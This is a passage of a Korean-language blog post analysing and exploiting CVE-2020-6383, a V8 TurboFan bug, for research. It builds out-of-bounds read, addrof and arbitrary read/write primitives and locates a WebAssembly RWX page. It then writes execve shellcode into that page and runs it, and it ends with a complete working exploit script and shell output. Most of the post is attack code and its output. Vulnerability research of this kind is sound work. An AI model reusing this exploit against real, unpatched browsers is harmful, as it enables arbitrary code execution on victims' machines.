0x3bb082c85ac:  0x082418b9      0x080406e9      0x082c85bd      0x7ffffc16
0x3bb082c85bc:  0x08040a15      0x00000016      0x9999999a      0x3ff19999
0x3bb082c85cc:  0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x3bb082c85dc:  0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x3bb082c85ec:  0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x3bb082c85fc:  0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x3bb082c860c:  0xfff7ffff      0xfff7ffff      0x9999999a      0x3ff19999
0x3bb082c861c:  0x082402d9      0x080406e9      0x080406e9      0x0804021d
0x3bb082c862c:  0x0804021d      0x0804021d      0x0804021d      0x080404b1
0x3bb082c863c:  0x00000004      0x082c85ad      0x082c8659      0x082418e1
0x3bb082c864c:  0x080406e9      0x082c8639      0x00000004      0x08241189
0x3bb082c865c:  0x080406e9      0x080406e9      0x00000008      0x00000000
0x3bb082c866c:  0xb4a889e0      0x0000558a      0x00000002      0x00000000

0x3bb082c866c에 backing store pointer가 위치한다. 이를 m_obj[0][21] 로 접근할 수 있다. 해당 값을 변조하여 전체 메모리 영역에 대한 arbitrary read / write를 수행할 수 있다. 이를 이용하여 primitive 들을 작성하였다.

function arb_read(addr) {
  var m_obj = trigger();
  m_obj[1] = new ArrayBuffer(8);
  m_obj[0][21] = itof(addr); // backing store pointer
  const dataView = new DataView(m_obj[1]);
  return ftoi(dataView.getFloat64(0, true));
}

function arb_write(addr, value) {
  var m_obj = trigger();
  m_obj[1] = new ArrayBuffer(8);
  m_obj[0][21] = itof(addr); // backing store pointer
  const dataView = new DataView(m_obj[1]);
  dataView.setFloat64(0, itof(value), true);
}
2-3. Address-of

Address of primitive의 경우 isolate root를 구할 명확한 방법이 없어 전체 포인터를 구할 수 없지만 하위 4바이트 주소를 얻을 수 있다. (얻은 주소는 오프셋 계산에 쓰일 수 있다) Primitive를 아래와 같이 작성하였다.

function addrof(obj) {
  var m_obj = trigger();
  m_obj[1] = obj;
  return ftoi(m_obj[0][16]) & 0xffffffffn;
}

[array, {}] 의 1번 인덱스에 인스턴스를 넣고 OOB read를 통해 값을 float로 읽어들였다.

3. RWX Page 할당

WASM 모듈을 임의의 코드로 생성만 해주면 RWX 페이지가 생겨난다. WasmFiddle을 활용하여 WASM 코드를 획득하였다.

int main() { 
  return 42;
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
const wasm_mod = new WebAssembly.Module(wasm_code);

해당 코드들을 넣고 gdb로 메모리 맵을 찍어보면 성공적으로 RWX 페이지가 생겨남을 확인할 수 있다.

gdb-peda$ vmmap
Start              End                Perm      Name
0x00001864e44f6000 0x00001864e44f7000 rwxp      mapped
0x00002e0700000000 0x00002e070000c000 rw-p      mapped
[...]

4. RWX 페이지에 쉘코드 작성

4-1. RWX 페이지 주소 구하기

RWX 페이지 주소의 경우 WASM 인스턴스의 주소에서 +0x68 위치에 놓여있다. 이를 읽어내면 된다. OOB read로 읽으려고 시도했으나 WASM 인스턴스의 주소가 array 주소보다 낮아 OOB read를 할 수 없는 문제가 생겼다.

for (let i = 0; i < 30000; ++i) {
  trigger();
}

[...]

var w_obj = trigger(); // to read RWX page address
w_obj[1] = wasm_instance;
%DebugPrint(w_obj);
%DebugPrint(w_obj[0]);
%DebugPrint(w_obj[1]);
%DebugPrint(wasm_mod);
const f = wasm_instance.exports.main;

console.log(getHexString(itof(addrof(wasm_instance))));
0x3a780830d4a9 <JSArray[2]>
0x3a780830d40d <JSArray[1073741323]>
0x3a7808211519 <Instance map = 0x3a7808244951>
0x3a780830d1dd <Module map = 0x3a78082447e9>
0x8211519

위에서 볼 수 있듯이 WASM 인스턴스 주소가 array보다 낮음을 확인할 수 있다. 따라서 trigger를 더 많이 호출하여 array 주소를 낮추었다.

while (true) {
  w_obj = trigger(); // to read RWX page address

  var offset = (addrof(wasm_instance) - addrof(w_obj[0]));
  if (offset > 0) break;
  for (let i = 0; i < 10000; ++i) {
    trigger();
  }
}

console.log("[+] Array address : " + getHexString(itof(addrof(w_obj[0]))));
console.log("[+] WASM Instance address : " + getHexString(itof(addrof(wasm_instance))));

offset = offset - 0x18n + 0x68n;
var rwx_page_addr;
if (offset % 8n == 4n) {
  const piece1 = ftoi(w_obj[0][offset / 8n]);
  const piece2 = ftoi(w_obj[0][offset / 8n + 1n]);

  rwx_page_addr = ((piece2 & 0xffffffffn) << 32n) | (piece1 >> 32n);
}
else {
  rwx_page_addr = ftoi(w_obj[0][offset / 8n])
}
console.log("[+] RWX page addr : " + getHexString(itof(rwx_page_addr)));
[+] Array address : 0x808f2d5
[+] WASM Instance address : 0x82115ad
[+] RWX page addr : 0x4215cfba000
4-2. 쉘코드 복사

주소를 얻었으니 이제 쉘코드를 Arbitrary write를 이용하여 복사하면 된다. 쉘코드는 다음 페이지에서 가져왔다.

const shellcode = [0x91969dd1bb48c031n, 0x53dbf748ff978cd0n, 0xb05e545752995f54n, 0x9090909090050f3bn];
for (let i = 0; i < shellcode.length; i++) {
  arb_write(rwx_page_addr+8n*BigInt(i), shellcode[i]);
}
gdb-peda$ vmmap
Start              End                Perm      Name
0x0000065c7a663000 0x0000065c7a664000 rwxp      mapped
[...]
gdb-peda$ x/32i 0x65c7a663000
   0x65c7a663000:       xor    eax,eax
   0x65c7a663002:       movabs rbx,0xff978cd091969dd1
   0x65c7a66300c:       neg    rbx
   0x65c7a66300f:       push   rbx
   0x65c7a663010:       push   rsp
   0x65c7a663011:       pop    rdi
   0x65c7a663012:       cdq    
   0x65c7a663013:       push   rdx
   0x65c7a663014:       push   rdi
   0x65c7a663015:       push   rsp
   0x65c7a663016:       pop    rsi
   0x65c7a663017:       mov    al,0x3b
   0x65c7a663019:       syscall
   [...]

5. 쉘코드 실행

주어진 인스턴스를 실행하면 덮어쓴 쉘코드가 실행된다.

const f = wasm_instance.exports.main;
f();
$ x64.release/d8 exploit.js 
[+] Array address : 0x8087161
[+] WASM Instance address : 0x82116a5
[+] RWX page addr : 0x36af23b65000
$ ls
exploit.js  peda-session-d8.txt  turbo-0x176208210050-1.json  turbo-trigger-0.json  turbo.cfg  x64.debug  x64.release
$ 

성공적으로 쉘이 실행되는 것을 확인할 수 있다.

전체 코드

// https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
  f64_buf[0] = val;
  return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}

function itof(val) { // typeof(val) = BigInt
  u64_buf[0] = Number(val & 0xffffffffn);
  u64_buf[1] = Number(val >> 32n);
  return f64_buf[0];
}

function getHexString(val) {
  return "0x" + ftoi(val).toString(16);
}

// https://bugs.chromium.org/p/chromium/issues/detail?id=1051017&q=cve-2020-6383&can=1
// PoC code
function trigger() {
  var x = -Infinity;
  var k = 0;
  for (var i = 0; i < 1; i += x) {
      if (i == -Infinity) {
        x = +Infinity;
      }

      if (++k > 10) {
        break;
      }
  }
                                  // JIT                                                / no-JIT
  var value = Math.max(i, 1024);  // [1024, inf]    (actual value : NaN (0))            / NaN
  value = -value;                 // [-inf, -1024]  (actual value : NaN (0))            / NaN
  value = Math.max(value, -1025); // [-1025, -1024] (actual value : NaN (0))            / NaN
  value = -value;                 // [1024, 1025]   (actual value : NaN (0))            / NaN
  value -= 1022;                  // [2, 3]         (actual value : -1022 (0x7ffffc02)) / NaN
  value >>= 1; // *** 3 ***       // 1              (actual value : 0x3ffffe01)         / NaN >> 1 = 0
  value += 10;                    // 1 + 10 = 11    (acutal value : 0x3ffffe0b)         / 10

  var array = Array(value);
  array[0] = 1.1;
  return [array, {}];
};

for (let i = 0; i < 40000; ++i) {
  trigger();
}

function addrof(obj) {
  var m_obj = trigger();
  m_obj[1] = obj;
  return ftoi(m_obj[0][16]) & 0xffffffffn;
}

function arb_read(addr) {
  var m_obj = trigger();
  m_obj[1] = new ArrayBuffer(8);
  m_obj[0][21] = itof(addr); // backing store pointer
  const dataView = new DataView(m_obj[1]);
  return ftoi(dataView.getFloat64(0, true));
}

function arb_write(addr, value) {
  var m_obj = trigger();
  m_obj[1] = new ArrayBuffer(8);
  m_obj[0][21] = itof(addr); // backing store pointer
  const dataView = new DataView(m_obj[1]);
  dataView.setFloat64(0, itof(value), true);
}

// https://wasdk.github.io/WasmFiddle/
const wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
const wasm_mod = new WebAssembly.Module(wasm_code);
const wasm_instance = new WebAssembly.Instance(wasm_mod);

var w_obj; // to read RWX page address
while (true) {
  w_obj = trigger(); // to read RWX page address

  var offset = (addrof(wasm_instance) - addrof(w_obj[0]));
  if (offset > 0) break;
  for (let i = 0; i < 10000; ++i) {
    trigger();
  }
}

console.log("[+] Array address : " + getHexString(itof(addrof(w_obj[0]))));
console.log("[+] WASM Instance address : " + getHexString(itof(addrof(wasm_instance))));

offset = offset - 0x18n + 0x68n;
var rwx_page_addr;
if (offset % 8n == 4n) {
  const piece1 = ftoi(w_obj[0][offset / 8n]);
  const piece2 = ftoi(w_obj[0][offset / 8n + 1n]);

  rwx_page_addr = ((piece2 & 0xffffffffn) << 32n) | (piece1 >> 32n);
}
else {
  rwx_page_addr = ftoi(w_obj[0][offset / 8n])
}
console.log("[+] RWX page addr : " + getHexString(itof(rwx_page_addr)));

// copy shellcode
const shellcode = [0x91969dd1bb48c031n, 0x53dbf748ff978cd0n, 0xb05e545752995f54n, 0x9090909090050f3bn];
for (let i = 0; i < shellcode.length; i++) {
  arb_write(rwx_page_addr+8n*BigInt(i), shellcode[i]);
}

const f = wasm_instance.exports.main;
f();

결론

안정적이고 성공적으로 익스플로잇을 작성할 수 있었다. Turbofan 취약점 익스플로잇이라 난이도가 좀 높았지만 많은 어려움 없이 익스플로잇을 작성하였다. Turbolizer가 알 수 없는 버그로 인해 실행이 불가능해서 그래프를 보면서 원인 분석을 할 수 없었지만 그래프 없이도 충분히 원인 분석을 진행할 수 있었고, 원인 분석을 통해 취약점의 원인을 이해할 수 있었고 익스플로잇도 작성할 수 있었다.

해당 익스플로잇을 작성하기 위한 참고 자료들은 아래와 같다.

  1. 본인의 과거 동아리 세미나 자료들 (2020.01): (비공개)
  2. 본인이 작성했던 v8.4.0 익스플로잇 (연구목적, 2020.06): https://github.com/candymate/csed499I-01
  3. Faith. Exploiting v8: *CTF 2019 oob-v8. https://syedfarazabrar.com/2019-12-13-starctf-oob-v8-indepth/. 2019.
  4. Crbug 페이지 : https://bugs.chromium.org/p/chromium/issues/detail?id=1051017&q=cve-2020-6383&can=1
  5. 라온화이트햇 핵심연구팀 조진호. v8 1 day CVE-2020-6383. https://core-research-team.github.io/2020-06-01/v8-1-day-CVE-2020-6383 . 2020

'보안 > CVE Analysis' 카테고리의 다른 글

QEMU CVE-2019-6778 Analysis  (0) 2021.01.19

+ Recent posts